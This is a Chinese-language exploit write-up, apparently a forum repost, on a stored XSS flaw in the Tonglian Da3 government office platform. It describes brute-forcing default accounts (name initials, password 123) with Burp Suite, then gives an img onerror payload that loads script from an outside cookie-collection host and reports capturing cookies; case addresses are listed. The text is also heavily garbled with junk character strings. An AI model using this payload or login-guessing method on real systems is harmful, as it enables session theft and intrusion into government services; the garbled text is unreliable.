同联Da3协同办公平台后台通用储存型xss漏洞

admin

8 A& \% s& t- z/ W4 V! R $ o- r/ k y. u' B7 i2 \ - w9 r. A$ r9 A : p$ F- @- n# w$ h, Q/ U 6 ^. C9 E' J! B$ @- Q7 h8 X 6 k' d# _( j% G0 l" |- ]5 d/ [ h- k$ C2 p3 c: H, u: i ! J" @4 }' T7 n' T$ n+ J

1 {4 S K0 E$ x$ \( u( [

6 d. @$ t7 e7 r# w* L7 ~( m 同联Da3协同办公平台后台通用储存型xss漏洞 ' t4 e* M0 S i: F3 l0 s

$ t, e% r: w9 D) Z" e2 S2 J

平台简介： ! o1 H5 t H# s# a- g! X0 s

 

6 P* v2 \9 E+ l) K6 p6 }

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
4 c# j3 D/ k1 @1 _$ y同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ ) C5 c. y4 L! v3 ]" v: w

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  ( @$ f+ V* I4 F$ ]9 k6 \* H% s

http://1.1.1.1:7197/cap-aco/#（案例2-） ; x8 F, K5 B7 L4 r

* w/ H& P' i% N# g! A3 a

http://www.XXOO.com （案例1-官网网站） - Z/ G5 X: s- q v# l

, N9 E; U$ \# C# p9 f 漏洞详情:

 案例一、 ( C0 |) v- w/ R

3 p! o$ Y% l/ B8 L: h2 W3 F- H

$ P2 n* k+ L5 @( |1 C, r 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

/ ]4 T/ ]; ]) L

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  9 w, R0 u; F- o

6 C% G3 ~$ {2 M9 L

! d: a- z$ Y! k, @0 {; Y, U

' e( C P) b9 n& O4 F: I7 Z status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

 

6 H+ M3 |4 I7 [

; l5 @: {* O) q$ i: p8 {% Y

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 + s/ x1 y/ Q' ^4 c! E

 

<img src=x 1 m+ n J F+ g7 ionerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 8 s9 A; E" q5 E" w

' ^. ^' b, l& Q( d( a a

- Z7 K% l" J7 Z/ |8 `+ S

# F; b5 U: Y) H- y( T( ?$ v 然后发送，接收cookie如图： # X: X# f6 W& S% @" D7 L7 T

 

$ V/ R' T& C7 B+ F" p! E

* Y% C$ ^& D$ d& {$ ?  

8 c1 U; x O- i1 }3 A; C

' i% M" _/ y" Z3 b  

  ) N& G1 k& Y# ]

/ Z% h2 }5 {/ f( I6 ~+ M( K

- Z Y) J; {2 D" l* I | % n: T( @6 D# Q i* P5 V6 A$ k- h7 R! H

 

$ T2 ]$ K. v) E) D$ g+ p% N6 Z" V; g) F 案例2、 0 ?2 p7 v* ]! X

( m0 f6 I" s4 c

前面步骤都一样，下面看效果图：

- j* G7 E, _3 ~+ [' m! M9 g- ?" y

6 F5 }' T' F. h( [2 j- } ' ~1 o+ I5 W9 v; \4 M

3 ]% v" U- M2 [/ m& f: u; \

# S6 e/ a% m* y* a5 f) ^ 5 c: g3 e( G$ i+ r2 k2 Z" E

# T( |: n. ? _2 W0 C6 k% K# }   ' _, a8 ~% a, B3 z. m9 I

- s2 ^# L6 M6 Z, {- M8 M  

) h* O$ d7 r9 c( j1 F

3 G7 Y8 F: M2 X/ j4 B& d

  & ^+ d' y3 _) ^

0 c1 a/ r' q& M' j' h

 

/ o' i+ w* |& N6 p& b# }' e6 V! @

) `# u2 t. Y/ z- r/ f& I2 j   ! l' d% X- a7 q: c

2 I' d8 g6 o5 d0 K0 E& w z' A3 {& ?  

8 O: x% U3 A% x9 C0 T* ?8 c